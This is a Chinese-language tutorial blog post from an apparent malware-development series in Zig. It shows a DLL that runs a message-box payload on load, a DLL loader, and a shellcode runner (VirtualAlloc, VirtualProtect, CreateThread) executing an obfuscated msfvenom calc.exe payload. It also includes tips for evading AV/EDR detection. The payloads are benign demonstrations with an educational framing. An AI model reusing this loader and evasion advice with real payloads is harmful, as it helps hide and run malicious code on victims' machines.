iT邦幫忙

2025 iThome 鐵人賽

DAY 13
1

走在時代前沿的前言

早安大家,現在是早上 5 點,我是 CX330。待會有個比賽所以很怕寫不完,先熬夜寫一點起來(T^T)。

昨天介紹了 Windows 作業系統中的進程與線程,也深入的看了一下 PEB 和 TEB 兩個結構體。今天要來看一下 Payload 通常是如何被執行的。我們會繼續使用 Zig 程式語言實作兩種不同的執行方式,那就廢話不多說,讓我們開始今天的訓練吧蜥蜴們!

對了,今天的範例都可以在這個專案中找到,可以去看完整的程式碼。

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

透過 DLL 執行

我們要介紹的第一種方式,是當 Payload 作為一個 DLL 而存在的時候會執行的方式。

由於先前一直沒有好好介紹動態連結函式庫(Dynamic-Link Library, DLL),就讓我們花一點篇幅來看一下究竟 DLL 是什麼東西吧!

什麼是 DLL

DLL 是一種共享函式庫,包含可以被多個應用程式同時使用的函式或是資料,它們匯出函數供進程使用。與 EXE 文件不同,DLL 不能自己執行程式碼;相反,DLL 需要其他的程式來調用才能執行程式碼。像是之前有提過的 CreateFileW 是從 kernel32.dll 匯出的,所以如果進程想要調用這個函數,就需要先把 kernel32.dll 載入到它的地址空間。

有些 DLL 會自動的被每個進程預設載入,因為這些 DLL 匯出一些對於進程來說必要的函數,像是 ntdll.dllkernel32.dllkernelbase.dll 等。我們可以透過 Process Explorer 來看到進程載入的 DLL,如下圖我們可以看到 explorer.exe 載入的 DLL 有這些。

Process Explorer

Windows 作業系統使用系統層級的 DLL 基址,將某些 DLL 在同一台機器上的所有進程中載入到相同的虛擬位址,以優化記憶體使用效率並提升系統效能。下圖我們使用另一個工具 System Informer 來顯示了 kernel32.dll 在多個進程中都被載入到相同的記憶體位址。

kernel32.dll

DLL 入口點

由於 DLL 是被應用程式給載入的,因此 DLL 可以指定一個入口點函數,當某動作發生的時後執行程式碼。

  • DLL_PROCESS_ATTACH
    • 當某進程正在載入 DLL 時
  • DLL_THREAD_ATTACH
    • 在已載入此 DLL 的進程內建立了新的線程時
  • DLL_PROCESS_DETACH
    • 當進程卸載此 DLL 時(或是進程正在結束)
  • DLL_THREAD_DETACH
    • 某個線程正常結束時

動態連結

在 Windows 作業系統中,我們可以使用 LoadLibraryGetModuleHandleGetProcAddress 這三個 Windows API 來從 DLL 中匯入函數,這被稱作動態連結。我們舉一個 C 語言的例子,來看一下如何做到動態連結吧。

#include <windows.h>

typedef void (WINAPI* SampleFunctionPtr)();

int main() {
    HMODULE hModule = GetModuleHandleA("sampleDLL.dll");
    
    if (hModule == NULL) {
        hModule = LoadLibraryA("sampleDLL.dll");
    }
    
    PVOID pSampleFunction = GetProcAddress(hModule, "SampleFunction");
    
    SampleFunctionPtr SampleFunction = (SampleFunctionPtr)pSampleFunction;
    
    SampleFunction();
}

首先,如果 sampleDLL.dll 已經被載入到當進程的記憶體中,則可以透過 GetModuleHandle 這個 Windows API 來獲取到它的句柄;但如果尚未被載入,則會使用 LoadLibrary 先將其載入,並獲得句柄。當 DLL 被載入記憶體且我們獲取到該句柄後,下一步我們就會使用 GetProcAddress 來獲取我們需要的函數的地址。當我們把 SampleFunction 的地址儲存到 pSampleFunction 之後,接著就需要把這個地址轉換為 SampleFunction 的函數指針,將其轉為函數指針後才能調用它。

這是一種在執行的時候加載和連結程式碼的方法,而不是使用連結器(Linker)和匯入地址表(Import Address Table, IAT)在編譯的時候連結它們。

使用動態連結的好處有被微軟記錄為文檔,如下:

  • 多個進程在相同的基址載入相同的 DLL,會共享物力記憶體的單一 DLL 副本,可以節省系統記憶體並減少 Swapping
  • 當 DLL 中的功能變更時,這些應用程式不需要重新編譯或是連結
  • DLL 可以提供銷售後支援,例如一個顯示器的驅動 DLL 可以被修改以用來支援更新的顯示器
  • 使用不同程式語言編寫的應用程式可以呼叫相同的 DLL 功能,只要這些應用程式遵循該函數相同的呼叫規範即可

對了,有一些方式可以在不撰寫程式碼的情況下執行 DLL 匯出的函式。其中一個常見技巧是使用 rundll32.exe。它是 Windows 內建的執行檔,用於執行 DLL 檔案中匯出的函式。若要執行匯出的函式,請使用以下指令:

rundll32.exe <dll_name>, <function exported to run>

透過 DLL 執行 Payload

這個範例中我們會示範用 Zig 寫一個 DLL,讓它成功被載入的時候出現一個 Message Box,當然現實生活中的 Payload 會更加複雜,會去執行一些惡意的行為,不過這邊就用 Message Box 當一個概念驗證。我們可以使用 MessageBox 這個 Windows API 來建立一個彈窗。

以下的專案是透過 zig init 所建立的,並且會把 DLL 實作在 root.zig,把 DLL 載入器實作在 main.zig 中。

注意!我們需要把以下的程式碼加入到 build.zig 當中,才可以讓 DLL 正確的被編譯出來。你可以把 payload_dll 替換成任意你喜歡的名稱。

const payload_dll = b.addSharedLibrary(.{
    .name = "payload_dll",
    .root_source_file = b.path("src/root.zig"),
    .target = target,
    .optimize = optimize,
});

// Link Windows libraries for the DLL
payload_dll.linkSystemLibrary("kernel32");
payload_dll.linkSystemLibrary("user32");

DLL 本身

我們來看一下 DLL 的程式碼:

const std = @import("std");
const windows = std.os.windows;

// Windows API types
const HINSTANCE = windows.HINSTANCE;
const DWORD = windows.DWORD;
const LPVOID = *anyopaque;
const BOOL = windows.BOOL;

// DLL reasons
const DLL_PROCESS_ATTACH: DWORD = 1;
const DLL_THREAD_ATTACH: DWORD = 2;
const DLL_THREAD_DETACH: DWORD = 3;
const DLL_PROCESS_DETACH: DWORD = 0;

// MessageBox constants
const MB_OK: u32 = 0x00000000;
const MB_ICONINFORMATION: u32 = 0x00000040;

// Windows API functions
extern "user32" fn MessageBoxA(
    hWnd: ?windows.HWND,
    lpText: [*:0]const u8,
    lpCaption: [*:0]const u8,
    uType: u32,
) callconv(.C) i32;

fn msgBoxPayload() void {
    _ = MessageBoxA(
        null,
        "Please give Black-Hat-Zig a star!",
        "Malware!",
        MB_OK | MB_ICONINFORMATION,
    );
}

// DllMain has to be public
pub export fn DllMain(hModule: HINSTANCE, dwReason: DWORD, lpReserved: LPVOID) callconv(.C) BOOL {
    _ = hModule;
    _ = lpReserved;

    switch (dwReason) {
        DLL_PROCESS_ATTACH => {
            msgBoxPayload();
        },
        DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH => {
            // Do nothing for these cases
        },
        else => {
            // Handle unexpected values
        },
    }

    return 1; // TRUE
}

我們使用 msgBoxPayload 來代表著 Payload,並且我們會在 DllMain 函數中去設定當 DLL 被載入的時候會去執行,其他時間不做事。

DLL 載入器

由於我們剛剛有說,DLL 不能單獨執行程式碼,所以我們會來寫一個 Loader 來載入它。接著我們看一下 DLL 載入器的程式碼,一開始我們會先讓這個執行檔去接收 DLL 文件的路徑作為命令行的參數。

const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);

if (args.len < 2) {
    print("[!] Missing Argument; Dll Payload To Run \n", .{});
    print("Usage: {s} <dll_path>\n", .{args[0]});
    std.process.exit(1);
}

const dll_path = args[1];
const current_pid = windows.GetCurrentProcessId();

print("[i] Injecting \"{s}\" To The Local Process Of Pid: {d} \n", .{ dll_path, current_pid });

接著去驗證一下該文件存在,並解析完整路徑。

var full_path_buf: [windows.PATH_MAX_WIDE]u8 = undefined;
const full_path = std.fs.cwd().realpath(dll_path, &full_path_buf) catch |err| {
    print("[!] Cannot access DLL file \"{s}\": {}\n", .{ dll_path, err });
    print("[!] Make sure the file exists and is in the current directory\n", .{});
    std.process.exit(1);
};

print("[+] Full DLL path: {s}\n", .{full_path});
print("[+] Loading Dll... ", .{});

接著使用 std.DynLib.open 載入剛剛指定的 DLL 到當前的進程。

var open_lib = std.DynLib.open(dll_path);
if (open_lib) |*lib| {
    const handle = lib.inner.dll;
    print("SUCCESS!\n", .{});
    print("[+] DLL Handle: 0x{x}\n", .{@intFromPtr(handle)});

    // Verify the loaded module
    var module_name: [windows.MAX_PATH]u8 = undefined;
    const name_len = GetModuleFileNameA(handle, &module_name, windows.MAX_PATH);
    if (name_len > 0) {
        print("[+] Loaded module: {s}\n", .{module_name[0..name_len]});
    }

    print("[+] DLL loaded successfully! Waiting for payload execution...\n", .{});

    // Give the DLL time to execute
    std.time.sleep(2 * std.time.ns_per_s); // Wait 2 seconds

    // Keep the DLL loaded for a bit longer
    print("[+] Press <Enter> to unload DLL and exit... ", .{});
    _ = std.io.getStdIn().reader().readByte() catch {};

    // Unload the DLL
    lib.close();
    print("[+] DLL unloaded successfully\n", .{});

    print("[+] DONE!\n", .{});
} else |_| {
    const error_code = windows.GetLastError();
    print("FAILED!\n", .{});
    print("[!] LoadLibraryA Failed With Error: {d}\n", .{@intFromEnum(error_code)});

    // Print common error meanings
    switch (error_code) {
        .FILE_NOT_FOUND => print("    → The system cannot find the file specified\n", .{}),
        .PATH_NOT_FOUND => print("    → The system cannot find the path specified\n", .{}),
        .MOD_NOT_FOUND => print("    → The specified module could not be found\n", .{}),
        .BAD_EXE_FORMAT => print("    → Not a valid Win32 application\n", .{}),
        else => print("    → Unknown error\n", .{}),
    }
    std.process.exit(1);
}

執行結果

當我們編譯並執行之後應該會看到以下的效果。

Executed via DLL

我們可以使用 System Informer 去檢查,果然有載入我們的 payload_dll.dll

payload_dll.dll

透過 Shellcode 執行

第二種方式是透過 Shellcode 去執行。在這過程中,我們會需要用到以下三種 Windows API。

注意!這邊提到的方法絕對不是隱蔽的,AV/EDR 幾乎都能偵測到這樣簡單的 Shellcode 執行技術,此處僅作為示範 Shellcode 執行的用途。

  • VirtualAlloc
    • 分配將用於儲存 Payload 的記憶體
  • VirtualProtect
    • 更改分配的記憶體的保護狀態,讓它具有執行權限
  • CreateThread
    • 創建一個新線程來執行 Payload

混淆 Payload

在這邊,會用到我們第 11 天做的 ZYPE 專案去混淆我們的 Payload,如果還沒閱讀的可以先去看看。在這邊,我們用到的 Shellcode 是 MSFvenom 生成的 x64 calc.exe 的 Payload。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

並且我們會使用 UUID 混淆。

zype -f calc.bin -m uuid

如此一來,我們就獲得了混淆過後的 Payload 了。

分配記憶體

接下來,我們會使用 VirtualAlloc 來分配大小等同於 Payload 的記憶體。先前已經討論過記憶體分配時可以指定的權限了,為了執行 Payload 最簡單的方式是將其設置為 PAGE_EXECUTE_READWRITE,但是這對於很多安全解決方案來說是個極危險的指標。因此我們會先將其設置為 PAGE_READWRITE,因為現在這個階段我們只需要寫入,還不需要執行。最後,VirtualAlloc 會返回所分配的記憶體的基址。

    const p_shellcode_address = VirtualAlloc(null, s_deobfuscated_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
        print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    };

將 Payload 寫入記憶體

接著,我們會把解混淆的 Payload 複製到剛剛分配的記憶體空間中,然後把原本的緩衝區清零。因為我們已經把 Payload 放上剛分配的記憶體了,所以將原本的緩衝區清零可以降低安全解決方案載記憶體裡面找到 Payload 的可能性。

    // Copy the payload to allocated memory
    @memcpy(@as([*]u8, @ptrCast(p_shellcode_address))[0..s_deobfuscated_size], p_deobfuscated_payload);

    // Clear the original payload buffer
    @memset(@as([*]u8, @ptrCast(p_deobfuscated_payload.ptr))[0..s_deobfuscated_size], 0);

修改記憶體保護

因為現在剛剛分配的記憶體只允許讀寫,我們需要使用 VirtualProtect 來修改記憶體保護,讓 Payload 可以被執行。雖然某些 Shellcode 需要使用 PAGE_EXECUTE_READWRITE,像是自解密(Self-decrypting)Shellcode,但是這個 MSFvenom 的並不用。但是為了方便演示,我們下面還是使用了這個記憶體保護設定。

    // Change memory protection to executable
    var dw_old_protection: DWORD = 0;
    if (VirtualProtect(p_shellcode_address, s_deobfuscated_size, PAGE_EXECUTE_READWRITE, &dw_old_protection) == 0) {
        print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    }

執行 Payload

最後這個階段就要執行 Payload 啦!如果用一個新的線程執行 Shellcode,卻不加入一點短暫的延遲,主線程很有可能會在負責執行 Shellcode 的線程執行完畢前就先結束,像是以下的程式碼,主線程會直接 return 掉:

    const thread_handle = CreateThread(null, 0, @ptrCast(p_shellcode_address), null, 0, null) orelse {
        print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    };
	return 0;

在下面的範例中,我們會使用一個暫停函數 waitForEnter,有點類似於 C 語言的 getchar 的感覺來暫停主線程的執行,直到使用者提供輸入。以下是它的實現。

fn waitForEnter(message: []const u8) void {
    print("{s}", .{message});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

不過在實際的惡意程式開發中,我們應該使用 WaitForSingleObject 這個 Windows API 來等待指定時間,讓線程執行。

WaitForSingleObject 可以接收兩個參數,第一個參數是物件的句柄,例如一個線程的句柄;第二個參數是毫秒,表示要等待它執行多久的時間。值得注意的是,如果我們第二個參數傳入 INFINITE,則會等第一個傳入的線程執行完畢後才繼續執行主線程指令。

之後幾天的實作我們應該會看到這個詳細的用法,這邊我們就還是先使用 waitForEnter 來當作暫停主線程的函數。

執行結果

在執行完後,應該會看到像這樣的小算盤。

Calc.exe

我們可以使用 x64dbg 來一步一步觀察記憶體。解混淆後的 Payload。

Deobfuecated Payload

下一步看一下是否有使用 VirtualAlloc 分配記憶體,再次檢查左下角的記憶體,已經被清零。

Allocated Memory

接著,成功分配記憶體後,寫入 Paylaod。

Written Memory

最後看一下原本的記憶體位置,已經被清零。

Cleared Memory

最後,我們使用 System Informer 可以看到 Shellcode 的記憶體是 RWX 的,這通常會被安全解決方案給標紅。

RWX

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好囉!寫完了,天啊現在已經 23.57 分了,真的在跟時間賽跑。不說了,今天比賽一整天又寫這個累死了,休息去了。

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day12 - 幻影般的交響樂章:Windows 進程與線程的協同世界
下一篇
Day14 - 幽影棋局,暗中佈陣:階段式 Payload 部署(上)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
tt27
iT邦新手 5 級 ‧ 2025-09-28 11:56:13

一直看成DDL..

我要留言

立即登入留言